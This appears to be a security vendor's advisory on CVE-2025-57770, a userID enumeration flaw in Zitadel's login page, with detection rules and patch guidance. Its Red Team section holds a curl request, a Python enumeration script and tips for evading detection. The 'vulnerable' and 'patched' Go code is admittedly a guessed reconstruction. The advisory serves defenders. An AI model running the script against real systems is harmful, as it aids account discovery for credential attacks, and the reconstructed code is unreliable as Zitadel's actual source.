CVE-2025-57770
Executive Summary
CVE-2025-57770 is a medium-severity username enumeration vulnerability in Zitadel, an open-source identity infrastructure platform. The vulnerability allows an unauthenticated attacker to bypass the "Ignoring unknown usernames" security feature by submitting arbitrary userIDs to the select account page. By analyzing the system's response, an attacker can distinguish between valid and invalid accounts, enabling targeted attacks such as credential stuffing or password spraying. The issue affects versions 4.0.0 to 4.0.2, 3.0.0 to 3.3.6, and all versions prior to 2.71.15. Patches are available in versions 4.0.3, 3.4.0, and 2.71.15.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Zitadel is distributed as a Go binary and Docker container. The vulnerability does not directly impact the software supply chain, but organizations using Zitadel as a core identity provider should treat this as a high-priority update to prevent account enumeration and subsequent attacks.
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low (attacker can determine if a userID exists)
- Integrity Impact: None
- Availability Impact: None
Threat Level: Medium. While the direct impact is limited to information disclosure, the enumeration of valid usernames can be a stepping stone for more severe attacks like credential stuffing or targeted phishing.
Deep Dive & Mechanics
The vulnerability resides in the login UI's "select account" page. Zitadel implements a security feature called "Ignoring unknown usernames" that is intended to return a generic response for both valid and invalid usernames to prevent enumeration. However, the implementation fails to handle the case where an attacker submits a userID (a unique identifier) instead of a username.
When a valid userID is submitted, the system proceeds to the next step in the authentication flow (e.g., password prompt). When an invalid userID is submitted, the system returns an error or a different response. This difference in behavior allows an attacker to iterate through a list of potential userIDs and determine which ones are valid.
The root cause is an inconsistent response handling in the login flow. The "Ignoring unknown usernames" feature was designed to handle username-based lookups but does not properly normalize or reject userID-based requests.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-Patch): The vulnerable code likely resides in the login handler that processes the "select account" request. The handler checks if the submitted identifier is a valid userID and returns a different response based on the result.
// Vulnerable: Different responses for valid vs invalid userIDs
func (h *LoginHandler) SelectAccount(w http.ResponseWriter, r *http.Request) {
userID := r.FormValue("userID")
user, err := h.query.UserByID(userID)
if err != nil {
// Returns a generic error for invalid userIDs
http.Error(w, "Invalid request", http.StatusBadRequest)
return
}
// Proceeds to password prompt for valid userIDs
h.renderPasswordPrompt(w, r, user)
}
Patched Code (Post-Patch): The patched code ensures that the response is consistent regardless of whether the userID is valid or invalid. This is achieved by always returning the same response and handling the authentication flow internally.
// Patched: Consistent response for both valid and invalid userIDs
func (h *LoginHandler) SelectAccount(w http.ResponseWriter, r *http.Request) {
userID := r.FormValue("userID")
user, err := h.query.UserByID(userID)
if err != nil {
// Always return the same response to prevent enumeration
h.renderPasswordPrompt(w, r, nil)
return
}
h.renderPasswordPrompt(w, r, user)
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A target Zitadel instance running a vulnerable version (e.g., 4.0.2)
- A list of potential userIDs (e.g., from a data breach or generated based on a pattern)
Exploitation Steps:
Identify the login endpoint: The select account page is typically at
/ui/login/selectaccount.Craft a request with a userID:
curl -X POST https://target.example.com/ui/login/selectaccount \ -d "userID=valid-user-id-123"Observe the response:
- Valid userID: The server responds with a password prompt (HTTP 200 with a password form).
- Invalid userID: The server responds with an error (HTTP 400 or a different page).
Automate the enumeration:
import requests target = "https://target.example.com" user_ids = ["user-001", "user-002", "user-003"] for uid in user_ids: r = requests.post(f"{target}/ui/login/selectaccount", data={"userID": uid}) if "password" in r.text.lower(): print(f"[+] Valid userID found: {uid}")
Mitigation for Red Team:
- Use rate limiting to avoid detection.
- Randomize the order of userIDs to avoid pattern-based detection.
Blue Team
Detection:
- Monitor for repeated POST requests to
/ui/login/selectaccountwith differentuserIDvalues. - Look for a high volume of 400 vs 200 responses from the same IP.
Honeypot:
- Deploy a fake Zitadel instance that logs all userID enumeration attempts.
- Return a consistent response for all userIDs to confuse attackers.
Lab Setup:
- Deploy a vulnerable Zitadel instance using Docker:
docker run -d --name zitadel-vuln -p 8080:8080 ghcr.io/zitadel/zitadel:v4.0.2 - Configure the instance with a few test users.
- Run the enumeration script to verify the vulnerability.
Indicators of Compromise (IOCs)
Network IOCs:
- Repeated POST requests to
/ui/login/selectaccountwith varyinguserIDparameters. - High ratio of HTTP 400 to HTTP 200 responses from the same source IP.
- User-agent strings associated with enumeration tools (e.g.,
python-requests/2.x).
- Repeated POST requests to
Log IOCs:
- Multiple login attempts with different userIDs from the same IP in a short time window.
- Log entries showing
Invalid requesterrors for userID lookups.
File IOCs:
- No file-based IOCs as this is a network-level vulnerability.
Detection Engineering
YARA Rule
rule CVE_2025_57770_Username_Enumeration {
meta:
description = "Detects attempts to exploit CVE-2025-57770 username enumeration in Zitadel"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-57770"
strings:
$s1 = "/ui/login/selectaccount" ascii wide nocase
$s2 = "userID=" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: Zitadel Username Enumeration Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple POST requests to Zitadel select account endpoint with different userIDs
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/ui/login/selectaccount'
cs-uri-query|contains: 'userID='
condition: selection | count() by src_ip > 10 within 60s
falsepositives:
- Legitimate multi-account testing
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-57770 Zitadel Username Enumeration"; flow:to_server,established; content:"POST"; http_method; content:"/ui/login/selectaccount"; http_uri; content:"userID="; http_client_body; threshold:type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch Zitadel: Upgrade to version 2.71.15, 3.4.0, or 4.0.3 (or later).
docker pull ghcr.io/zitadel/zitadel:v4.0.3 docker stop zitadel-vuln docker run -d --name zitadel-patched -p 8080:8080 ghcr.io/zitadel/zitadel:v4.0.3 - Enable Rate Limiting: Configure rate limiting on the login endpoint to slow down enumeration attempts.
- Monitor Logs: Review access logs for suspicious patterns.
Long-Term Mitigations:
- Implement CAPTCHA on the login page.
- Use Web Application Firewall (WAF) rules to block repeated requests.
- Conduct regular security audits of identity infrastructure.
Workarounds (if patching is not immediately possible):
- Disable the select account page if not needed.
- Implement a reverse proxy that returns a consistent response for all userID requests.
Valters IT
Securing Digital Frontiers